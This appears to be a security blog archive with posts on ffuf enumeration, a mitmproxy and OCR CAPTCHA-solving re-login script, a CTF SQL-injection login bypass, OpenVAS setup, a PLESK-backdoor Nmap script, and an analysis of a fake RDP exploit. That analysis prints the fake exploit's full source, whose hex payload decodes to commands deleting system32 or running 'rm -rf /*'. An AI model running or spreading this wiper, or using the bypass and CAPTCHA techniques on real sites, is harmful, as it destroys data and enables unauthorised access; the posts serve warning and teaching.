Tuesday, May 19, 2020

Late to the party, or, in other words massive web enumeration using ffuf.

Few days back I had the opportunity to take part in a challenge event, which I went last minute and unprepared.

There are few good reason to the last minute and not being prepared, mainly because I was invited late on the event and I had to prepare my environment as well, when others had their tools ready.

So I was late in the party. As most of the events for me, can only take place after working hours, I had to be quick in order to catch up with the others.

The event, roughly 500 hosts in different networks (results from nmap scan were provided) non sequential and in different networks waiting to be scanned.

On the last months my favorite tool for web enumeration had been ffuf, https://github.com/ffuf/ffuf, but even with that alone I couldn't catch up easily on the others.


Web dirbuster tool comparison 

Some stats first on ffuf and comparison with other tools used in web 'dir-busting'

I'll be using http://testphp.vulnweb.com/ for the tests and default as much as possible, parameters on each tool.

dirb, time 5.43 minutes.

Image 1. dirb

gobuster time 8.8 seconds

Image 2. gobuster

wfuzz time 28.2 seconds

Image 3. wfuzz

fuff time 8.7 seconds

Image 4. ffuf

Turbo intruder time 13.3 seconds.

Image 4. Turbo intruder

Brief comparison, lower is better:

Image 5. Brief comparison


So if you are not using ffuf, or turbo intruder ( I will explain later in another post as to why ) I'll advise to give them a try.



Back to the methodology. 

As mentioned above the data set was large and I was late.  So this was my methodology to gain some advantage in time.

1. Enumeration of all common ports using aquatone, eg:

cat hosts | aquatone  -ports large -out aquatone

2. Use gnu parallel to feed ffuf workers with the urls from aqutatone, verified working, using:

cat aquatone/aquatone_urls.txt | parallel -j 50 -I{} ffuf -w /usr/share/dirb/common.txt:FUZZ -u {}FUZZ -o {#}_results.html -mc 200,403 -sf -fs 0 -of html

Aquatone is taking roughly 6 minutes for 100 hosts and it will clean up ports that are not responding.

Image 6. Aquatone results.

Ffuf was able to produce results on the first few minutes which where easy to be analysed.

The parameters on the filtering at ffuf may vary during the stage of the analysis that you are. I will recommend to have at least 403 and 301 with the 200 (OK, found) so you can see what is denied and what is redirected initially.

Having in mind that I was aiming for speed mainly and not for quality at this phase.  I was able to get a good understanding on the targets and their setup in short time.

Following post will be on turbo intruder and what makes a difference on this scanner.

Tuesday, March 24, 2020

Solving CAPTCHA using Burp suite proxy and mitmproxy.

Few days back I was facing an issue in one of my tests. The web application was logging my session off every few minutes and also it was logging me out in case of an exception, as a request that Burp was sending and couldn't be handled. 

Initial idea was to go and instruct Burp proxy to use macro and re-authenticate the session but the application was using an additional captcha challenge that had to be solved.

Overall there were 2 issues to overcome:


  • Keep the session authenticated through Burp's proxy scan (automated and manual)
  • Find a way to solve the captcha.

For these items went ahead with the following setup, Burp proxy -> mitmproxy -> Website.

Burp proxy is configured to use an upstream proxy and pass all requests through there as shown in the image below:



Burp itself is listening on port 8082 and I'm using firefox with FoxyProxy pointing to it.


Mitmproxy's script is very simple and essentially is handling this pattern that exist during the login phase.

Script is running with mitmproxy -s mitm.py

The script it self can be something as the one below:

"""
This example shows how to parse a call and execute an external script
which will re-authorize the user on the web application.
""" 
from mitmproxy import http
import subprocess 
def response(flow: http.HTTPFlow) -> None:
    # Redirect is issued on the response, this is only used in the application for sending back the user to /logout. Match the response and call script.
    if (flow.response.status_code == 302):
        subprocess.call("python3 ./imagedecode.py", shell=True)
def request(flow: http.HTTPFlow) -> None:
    if flow.request.pretty_url.startswith("domain.com/user/index/login"):
        response()



The script 'imagedecode.py' is a script which is using tesseract OCR to process the captcha values and submit them to the website together with the login credentials.

The captcha images are simple as the ones below in the specific setup:




The script itself:



from PIL import Image
import subprocess
import requests
import cv2 
# I need to define a static cookie as it's used for verification on the captcha
# this cookie is set as valid if you pass the auth 
cookies = { "PHPSESSID": "8jadummyecookiefu12erm1923a;" }
url = 'https://domain.com/UiUser/secure?sid=0.6974342321354128' 
r = requests.get(url, cookies=cookies)
with open('im.png', 'wb') as f:
    f.write(r.content)
# Tesseract to the rescue
try:
    r = subprocess.check_output(["tesseract", "im.png", "-", "--psm", "13", "--dpi", "70"]).decode('utf8').strip()
    # Got the captcha we need to authorize the same session that was used
    params = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    datapost = "login-email=user%40domain.com&login-pwd=mypasswordhere%3D%3D&login-yanzheng="+r+"&memory=false"
    r2 = requests.post( "https://domain.com/user/index/verify", headers=params, data=datapost, cookies= cookies, timeout=35)
except:
    print("Couldn't get captcha")
There are some things that could be optimised on the script as checking proper return code of the request and re-issue in case is not successful the login, but overall it has a rough 90-95% accuracy. 

Thursday, March 12, 2020

Using Burp Intruder for auth bypass - CTF, root-me.org / BSCorp - Linux

This is a small post on using Burp's Intruder to bypass login authentication.

The idea for this post is from a CTF challenge on root-me.org.

I will not be sharing information about how one will reach on this state as I wouldn't like to spoil the fun on it.


The initial page that the user will see after proceeding in the challenge will be the following:


With no apparent information about the login, trying with 'abc' as username and password will give the following result:

It's clear that there is some filtering implemented that are blocking some characters.  

The first thing is to identify which characters are allowed. This can be done on Burp using intruder. 

Intercept your login request and pass it to intruder as shown below:


On the intruder tab select sub-tab 'Positions' and clear all selections. Select the 'abc' value on the log= and add it as payload position.


Browse to the sub tab, select Payload set 1, Payload type 'List' and populate the list with. Simply use a notepad and input all possible characters one by one. I used a notepad and copy paste the entries on Burp.


Start the attack and observe the results.


As you can see above some requests are passing and some are giving an error message' Bad characters detected'

The next step will be to exclude these bad characters and keep the valid ones.  One can choose to select all remaining characters or limit the set to specific ones.

References: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/http://www.lifeoverpentest.com/2018/03/sql-injection-login-bypass-cheat-sheet.html .

From the links above the set of 19 characters could be reduced to 6, which are the followings, "# (  | ' / 1" .  The rest characters that are valid as possible entries have no value to as for a potential auth bypass.

To create an iteration of these values in the intruder, change the payload type to 'Custom iterator' and paste the values.

As we don't know how many characters will be needed for the attack we can start with 2 positions and increase them adding the same values to each position.


Start the attack and check on the output. If you don't see it successful, try adjusting the Position count by increasing it and repeating the values. 

In these case you are creating random values with all 6 characters which are used as attack patterns. 

For our attack on the specific environment a value of length 5 was the one that was successful. 

This can be seen on intruder on the following way:


The login request that is created with payload '||1# is giving a 302 redirect. 

Trying the value on the web page itself, 


Will allow us to bypass authentication and login on the portal.



Tuesday, July 30, 2013

Identifying fake shellcode - quick guide

Identifying the fakes

Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).

Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity.

It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.

Let's have a look on the exploit mentioned.

Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/)

Note 2: 
Looking at the code, there are 2 parts where a shellcode can be identified.

Section 1

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

Section 2

 #bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"


The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.

An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.

eg:

echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Will produce the following results:

 __import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with  the rm -rf replaced with something more insidious


So this is just another fake exploit that will try to identify the system and execute a deletion.



Below is the code of this fake, please don't use it

#!/usr/bin/env python
# greating n4sss and foreach my friends and luk3r-C
# xsdev@outlook.com
# rdpxs.py
# MS12-020 RDP, remote exploit code execution
# on all patch machines, XP to 7
# testado nas versoes windows 7 xp e vista com patch.
#
# Author: xscholler

import struct
import socket
import sys
import os

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

argument = "\x90" * 214

#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

xst = xscholler + argument

class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __imPORT__("__builtin__").__dict__ #
self.shellcode = shellcode

def parse(self, address, shellcode):
fucker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #PORT bytes
linha = struct.pack(">I", 0x8fe2fb63) #pop eax
linha += struct.pack(">I", 0x8fe2fb58) #push esp
linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
linha += struct.pack(">I", 0x8fe2db10) #call strcpy
linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET
linha += struct.pack(">I", 0xffffffff) #value to store in ecx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += fucker[0] #add the prelude
linha += fucker[1] #add the packed IP address
linha += fucker[2] #add the packed PORT
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back
to original value
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[fucker[0]] #reader for the linha shellcode/data

return str(read(shellcode)), linha

def connect(self, address):
self.linha_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)

def xst_sendall(self):
super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])


if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpxs.py IP"

else:
ALVO = sys.argv[1]
PORT = 3389 #default RDP PORT

print "[*] Rodando rdpxs"
print
s = RDPsocket(xst, shellcode)
print "[+] Conectando e configurando payload. . ."
print "[+] isso pode levar alguns minutos..."
s.connect((ALVO, PORT))
print "[+] Conexao estabelecida"
print "[+] Enviando payload. . ."
s.xst_sendall()
response = s.recv(4096)
if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
print "[+] Bem Succedido! Payload enviado e executado com sucesso!."
print "[+] Telnet ALVO na PORT 8888."
else:
print "[-] Failed"
s.close()

Wednesday, March 27, 2013

Openvas quick installation on Backtrack linux

It’s been some time since I wrote something in this blog, work and contributing in other sites took most of my time, but still this is my personal blog. I find it easier to write something in here and go back to look for it when needed than keeping documents around.

I mostly have Nessus on my disposal but sometimes there is a requirement to perform a security audit using opensource tools, and what is the best alternative to Nessus if not Openvas.

Openvas files are included in the backtrack Linux (BT5 R3). I’m sure you can find lengthy setup guides for it, but this is not one of them, on the contrary I’m trying to make things in a copy paste form for easy setup in less than couple of minutes.

Assuming that you already have a working backtrack installation you can issue the following commands to setup Openvas.

openvas-mkcert                                         #you can press ender here for all
openvasad -c 'add_user' -n admin -r Admin   #add your password here
openvas-mkcert-client -n om –i

openvas-nvt-sync                             #this will take some time
openvassd                                       #again here the plugins will be loaded  it would take a while

openvasmd –rebuild

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=YOUR_IP -p 9392 #don’t forget to add your ip address here

After that, you can access your Openvas installation at http://Your_IP:9392

Don’t forget to issue,

apt-get install texlive-latex-extra 

on the system in order to be able to generate pdf reports from the web interface.

Some rules of thumb, Openvas takes a lot of CPU time and memory, if you are planning on scanning several C classes and you are having a virtual machine for your installation, use more than 4 VCPUs and around 4Gb of Ram. Generally the more the merrier. Finally a normal scan will take about 1 hour for every C class to be completed.

Saturday, August 18, 2012

3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%

I wrote again about the infected PLESK systems, Brian Krebs wrote about the topic some time later in the year (http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/) but until now I didn’t see any post on the actual infected servers.

I took some time during the holidays to fix my http-plesk-backdoor.nse script and make a more wide search for infected and still compromised PLESK installations. The work is still in progress and the stats below are rough stats.

There are 256 A class networks , 0.0.0.0/8 to 255.0.0.0/8 , each block has a possible of 16.777.216 addresses, not everything is in use from the /8 networks and many are reserved ( more at http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml ). I started my search results from the European networks, allocated in RIPE NCC and I will move to ARIN (USA based networks) and then to the rest.

How long does it take to scan an entire A class, is totally based on your ISP tolerance and the connectivity that your server has to the internet. Scanning an European range from a server that is outside the EU network will take more time but nothing extreme estimate a total added time of 20-30 minutes in one scan. My scans took around 10 hours to complete for each A class ( for 16.777.216 addresses ), with the script execution time combined.

Initially I thought that the script execution will take a huge amount of time comparing to the scanning results of nmap, but the scripting engine is doing a great job on the nse scripts, and the time added is roughly one extra hour when the script is used.

Results so far: 

6 European based networks scanned (100.663.296 addresses), 91.970 systems with the port 8443 open (not all of them are PLESK servers).

Compromised / Infected PLESK systems: 3.094

Number of domains on the hacked above servers: 15.979

The number of domains is an estimation based on the ‘feature’ that many PLESK installations provide allowing a reverse DNS lookup on the server IP, that will return all the domains that are currently hosted in that server.

If you need details on the networks and the hosts that are found infected please contact via email with a valid reason.

Wednesday, May 9, 2012

Nmap script to check PLESK compromised servers


Few days back I wrote about the PLESK compromised servers in www.my-audit.gr, at that time I made a script to perform manual checks for our clients in our IP ranges.  The script was slow and it was taking a lot of time to produce actual results at first, then I remembered about nmap scripting language (NSE).  I had never used it before but it seems rather easy to make a simple script, so after a couple of minutes I came up with the following script:
   1: description = [[
   2: Looks for signature of PLESK servers that were compromised earlier in 2012.
   3:  
   4: The script checks the existence of enterprise/control/psa/engine.php and 
   5: /enterprise/control/ctrl.php3 files that are not part of plesk distribution. 
   6: The files were added in most servers during the first 3 months of 2012 
   7: after a global scale attack on PLESK hosting servers. 
   8: More at: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/ ,
   9: http://forum.parallels.com/showthread.php?t=258101 and 
  10: http://0entropy.blogspot.com/2012_03_01_archive.html
  11: ]]
  12:  
  13: ---
  14: -- the result will be something like the following
  15: -- Interesting ports on somehost.someserver.com (xxx.xxx.193.64):
  16: -- PORT     STATE SERVICE
  17: -- 8443/tcp open  https-alt
  18: -- |_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
  19: ---
  20:  
  21: author = "Nicolas Krassas"
  22: license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  23: categories = {"malware","discovery","safe"}
  24:  
  25: require "http"
  26: require "shortport"
  27: require "stdnse"
  28:  
  29: -- This script will check on port 8443 only
  30: portrule = function(host, port)
  31:     local svc = { std = { ["https-alt"] = 1 } }
  32:     if port.protocol ~= 'tcp' or not svc.std[port.service] then
  33:         return false
  34:     end
  35:     return true
  36: end
  37:  
  38: -- Execute the check 
  39: action = function(host, port)
  40:  
  41:         -- Perform a GET request for v2 backdoor, this is the most common currently.
  42:         result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/psa/engine.php")
  43:  
  44:         if(not(result)) then
  45:                 return stdnse.format_output(false, "Couldn't perform GET request")
  46:         end
  47:  
  48:         if(result.status == 200) then
  49:                 string = ("PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
  50:                 return string
  51:         end
  52:  
  53:         -- Perform a GET request for v1 backdoor
  54:         result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/ctrl.php3")
  55:  
  56:         if(not(result)) then
  57:                 return stdnse.format_output(false, "Couldn't perform GET request")
  58:         end
  59:  
  60:         if(result.status == 200) then
  61:                 string = ("PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
  62:                 return string
  63:         end
  64: end

a sample output from the script,

root@host:~# nmap  --script http-plesk-backdoor xxx.xxx.xxx.xxx

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-09 14:20 EEST
Interesting ports on someserver.com (xxx.xxx.xxx.xxx):
Not shown: 979 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   open     smtp
53/tcp   open     domain
80/tcp   open     http
106/tcp  open     pop3pw
110/tcp  open     pop3
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
143/tcp  open     imap
443/tcp  open     https
445/tcp  filtered microsoft-ds
465/tcp  open     smtps
587/tcp  open     submission
646/tcp  filtered ldp
993/tcp  open     imaps
995/tcp  open     pop3s
